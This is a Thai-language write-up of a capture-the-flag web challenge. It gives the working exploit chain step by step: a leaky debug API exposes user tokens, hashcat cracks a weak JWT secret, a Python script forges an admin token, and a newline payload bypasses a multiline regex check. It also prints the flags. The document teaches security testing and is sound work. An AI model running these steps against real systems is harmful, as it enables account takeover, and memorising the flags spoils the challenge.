📝 Write-up: STH Mini Web CTF 2025 (ครั้งที่ 1) – krits.top
📌 รายละเอียดกิจกรรมบน Facebook
Table of Contents
- ภาพรวมของโจทย์
- ขั้นตอนเริ่มต้น
- หน้าเข้าสู่ระบบ Login
- วิเคราะห์โค้ดใน script.js
- Flag 1: เข้าสู่ระบบเป็นสิทธิ์ผู้ดูแลระบบ
- ขั้นตอนที่ 1: ดึงข้อมูลของ admin-uat
- ขั้นตอนที่ 2: Brute-force JWT Secret Key
- ขั้นตอนที่ 3: ตรวจสอบความถูกต้องของ Secret Key
- ขั้นตอนที่ 4: สร้าง JWT Token ของ Admin
- ขั้นตอนที่ 5: นำ Token ที่ได้ใส่ใน Cookie
- ผลลัพธ์ Flag 1
- Flag 2: ทำการพิมพ์เงินออกจากระบบ
- วิเคราะห์โค้ดในหน้า /admin.php
- ใช้ Burp Suite ในการส่งข้อมูล
- ผลลัพธ์ Flag 2
ภาพรวมของโจทย์
🔍แกะรอยช่องโหว่ 🏆ชิงรางวัลสุดพิเศษ กับการแข่งขันด้านความมั่นคงปลอดภัยไซเบอร์ จัดโดย บจก. สยามถนัดแฮก (STH) ผู้ให้บริการด้าน Cyber Security ระดับแนวหน้า
เป้าหมายการเจาะระบบ:
- ทำการโจมตีเว็บโจทย์การแข่งขัน เพื่อหาข้อความลับ ที่เรียกว่า Flag โดย Flag จะมีรูปแบบ เช่น
STH1{cff940beed74db5e1c7c63007223a6e6}
- Flag1: เข้าสู่ระบบเป็นสิทธิ์ผู้ดูแลระบบ
- Flag2: ทำการพิมพ์เงินออกจากระบบ
ขั้นตอนเริ่มต้น
หน้าเข้าสู่ระบบ Login
เมื่อเข้าเว็บไซต์มาแล้วพบว่า มีแค่หน้าเข้าสู่ระบบ Login โดยที่ไม่มีการบอก Username
และ Password
ทำการ Inspect
หน้าเว็บพบว่าใน HTML มี Comment ระบุไว้
และสามารถนำ username: test
และ password: test
ที่พบ มาทำการเข้าสู่ระบบ
หน้าเข้าสู่ระบบ ถ้าทำการเช็ค Remember Me
จะมีการเก็บ Cookie
ของ remember_me
เอาไว้ ซึ่งเป็น JWT
ขั้นตอนต่อไปต้องหา Secret Key
ของ JWT
ให้ได้
วิเคราะห์โค้ดใน script.js
หลังจากที่เข้าสู่ระบบแล้ว และเมื่อทำการ Inspect
และไปที่เมนู Sources
จะพบกับไฟล์ script.js
ซึ่งมีโค้ดสำคัญที่เกี่ยวข้องกับการดึงข้อมูลผู้ใช้และฟังก์ชันสำหรับ Debug
document.addEventListener('DOMContentLoaded', () => {
// Fetch the current user's information from the API
fetch('api.php?action=get_userinfo')
.then((response) => response.json())
.then((data) => {
if (data.username) {
// Populate the page with user info
document.getElementById('username').textContent = data.username
document.getElementById('role').textContent = data.role
document.getElementById('status').textContent = data.status
} else if (data.error) {
console.error('API Error:', data.error)
} else {
console.error('Unexpected response format.')
}
})
.catch((err) => {
console.error('Error fetching user info:', err)
})
})
function debugFetchUserTest() {
fetch('api.php?action=get_userinfo&user=test')
.then((response) => response.json())
.then((data) => {
console.log('Debug get_userinfo for user=test:', data)
})
.catch((err) => {
console.error('Error in debugFetchUserTest:', err)
})
}
function debugFetchAllUsers() {
// admin.php
fetch('api.php?action=get_alluser')
.then((response) => response.json())
.then((data) => {
console.log('Debug get_alluser result:', data)
})
.catch((err) => {
console.error('Error in debugFetchAllUsers:', err)
})
}
จะพบกับ 2 ฟังก์ชั่นที่น่าสนใจคือ debugFetchUserTest()
และ debugFetchAllUsers()
debugFetchUserTest()
- ทำการ fetch จาก URL
api.php?action=get_userinfo&user=test
- เมื่อเปิด URL นี้ จะได้ข้อมูลของ
user: test
จะประกอบไปด้วยusername
role
remember_me_token
มีค่าตรงกับDecoded Payload
ของ JWT ที่ได้status
{
"username": "test",
"role": "user",
"remember_me_token": "b81943ba-d1c5-495a-8427-4711c39256bf",
"status": "Novice scammer, successfully conned 3 victims."
}
debugFetchAllUsers()
- มี Comment ระบุว่า
admin.php
ซึ่งน่าจะบอกว่ามี page นี้อยู่ แต่ปัจจุปันยังไม่สามารถเข้าหน้านี้ได้ - ทำการ fetch จาก URL
api.php?action=get_alluser
- เมื่อทำการเรียก URL นี้ จะได้รับข้อมูลรายชื่อผู้ใช้ทั้งหมดในระบบ
- พบว่ามีชื่อผู้ใช้
admin-uat
ซึ่งนำไปสู่การโจมตีเพื่อเข้าสู่ระบบในฐานะผู้ดูแลระบบ (Flag 1 และ Flag 2)
["test", "admin-uat"]
Flag 1: เข้าสู่ระบบเป็นสิทธิ์ผู้ดูแลระบบ
ขั้นตอนที่ 1: ดึงข้อมูลของ admin uat
- ทำการ fetch ข้อมูลจาก URL จาก
admin-uat
https://web1.ctf.p7z.pw/api.php?action=get_userinfo&user=admin-uat
- ผลลัพธ์ที่ได้
{
"username": "admin-uat",
"role": "admin",
"remember_me_token": "73eb7063-f8c3-4e50-bea2-07c05681aa92",
"status": "Gang boss, oversees all operations."
}
- ข้อมูล
remember_me_token
นี้จะนำมาใช้ในการสร้าง JWT เพื่อเข้าสู่ระบบในฐานะผู้ดูแลระบบ
ขั้นตอนที่ 2: Brute force JWT Secret Key
- จากข้อมูล
remember_me_token
ของadmin-uat
สามารถนำมาสร้าง JWT ใหม่ได้ - ทำการ Brute-forcing secret key ด้วยคำสั่ง
hashcat
$ hashcat -a 0 -m 16500 <JWT_TOKEN> <Wordlist>
$ hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6ImI4MTk0M2JhLWQxYzUtNDk1YS04NDI3LTQ3MTFjMzkyNTZiZiJ9.Rlk_a69lx16hNhwn4nBfRxhiMGmEDoPIcxfr1_7JdH8 ./rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-skylake-avx512-11th Gen Intel(R) Core(TM) i5-11300H @ 3.10GHz, 2899/5863 MB (1024 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
[...]
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6ImI4MTk0M2JhLWQxYzUtNDk1YS04NDI3LTQ3MTFjMzkyNTZiZiJ9.Rlk_a69lx16hNhwn4nBfRxhiMGmEDoPIcxfr1_7JdH8:"bobcats"
[...]
Started: Wed Mar 26 22:34:32 2025
Stopped: Wed Mar 26 22:34:45 2025
ผลลัพธ์การ Brute-force พบ Secret Key คือ
"bobcats"
ขั้นตอนที่ 3: ตรวจสอบความถูกต้องของ Secret Key
- Secret Key
"bobcats"
ตรวจสอบถูกต้องเมื่อเช็คกับJWT_TOKEN
ของuser: test
ขั้นตอนที่ 4: สร้าง JWT Token ของ Admin
- สร้าง JWT ใหม่โดยใส่
payload
ที่ได้มาจากremember_me_token
ของadmin-uat
import jwt
import datetime
payload = {
# remember_me_token ของ admin-uat (admin)
"token": "73eb7063-f8c3-4e50-bea2-07c05681aa92",
}
secret_key = '"bobcats"'
encoded_jwt = jwt.encode(payload, secret_key, algorithm="HS256")
print(f"Generated JWT: {encoded_jwt}")
- ผลลัพธ์ที่ได้
Generated JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b2tlbiI6IjczZWI3MDYzLWY4YzMtNGU1MC1iZWEyLTA3YzA1NjgxYWE5MiJ9.IFc2uZiX_3x1ihXgRaANOPvmySpQzFz_wMD0up8Ny0I
ขั้นตอนที่ 5: นำ Token ที่ได้ใส่ใน Cookie
- เปลี่ยนค่าใน Cookie
remember_me
โดยแทนที่ด้วย JWT ที่สร้างขึ้นใหม่
- หลังจากนั้นเข้าสู่ระบบในฐานะ
admin-uat
(ผู้ดูแลระบบ) สำเร็จ
- และลองเข้า
/admin.php
ก็จะสามารถเข้าถึงหน้านี้ได้
Inspect
หน้า/admin.php
จะพบกับ Flag 1
ผลลัพธ์ Flag 1
STH1{310052ba6883872435f7c5aafa850813}
Flag 2: ทำการพิมพ์เงินออกจากระบบ
วิเคราะห์โค้ดในหน้า admin.php
- พบ Comment ในหน้า /admin.php เมื่อ
Inspect
ซึ่งมีโค้ดดังนี้
function validateNumber($input) {
if (preg_match('/^[0-9]+$/m', $input)) {
return true;
}
return false;
}
$amount = $_POST['amount'] ?? '';
[...]
if(validateNumber($amount) && strpos($amount, 'STH') ){
$outputMessage = "Printing $amount $denom ... Completed!<br>";
$outputMessage .= "Serial Number: <strong>".$_ENV['FLAG2']."</strong>";
}else{
$outputMessage = 'We need a number, but not a number';
}
รายละเอียดการตรวจสอบ Input
- ระบบรับค่า Input ผ่านตัวแปร
$amount
ซึ่งส่งมาจากPOST
- โดยเงื่อนไขการตรวจสอบมีดังนี้
- validateNumber()
- ใช้ Regular Expression
/^[0-9]+$/m
ในการตรวจสอบว่า input เป็นตัวเลขหรือไม่ - ข้อสังเกต: Regular Expression นี้ใช้ modifier
m
ทำให้การตรวจสอบจะทำงานเฉพาะกับบรรทัดแรกเท่านั้น
- ใช้ Regular Expression
strpos($amount, 'STH')
- ตวรจสอบ Input มีคำว่า
STH
อยู่ในข้อความหรือไม่ - โดยฟังก์ชัน strpos สามารถตรวจสอบข้อความได้หลายบรรทัด
- ตวรจสอบ Input มีคำว่า
- validateNumber()
วิธีการโจมตี
- เนื่องจาก Regular Expression ใน
validateNumber()
ตรวจสอบแค่บรรทัดแรกเท่านั้น จึงเกิดช่องโหว่ที่สามารถแทรก "ขึ้นบรรทัดใหม่" ลงใน Input ได้ - ตัวอย่างการโจมตี
- กำหนดค่า Input เป็น
123%0ASTH
%0A
= Newline (\n
)
- กำหนดค่า Input เป็น
- ผลลัพธ์
123 # validateNumber() ตรวจแค่ "123" → ผ่าน
STH # strpos($amount, 'STH') ยังเจอ "STH"
ใช้ Burp Suite ในการส่งข้อมูล
- ทำการส่งข้อมูล
amount=123%0ASTH
ผลลัพธ์ Flag 2
STH2{d9d2532fd8ad5419450b5ea34ed93f32}
Tidak ada komentar:
Posting Komentar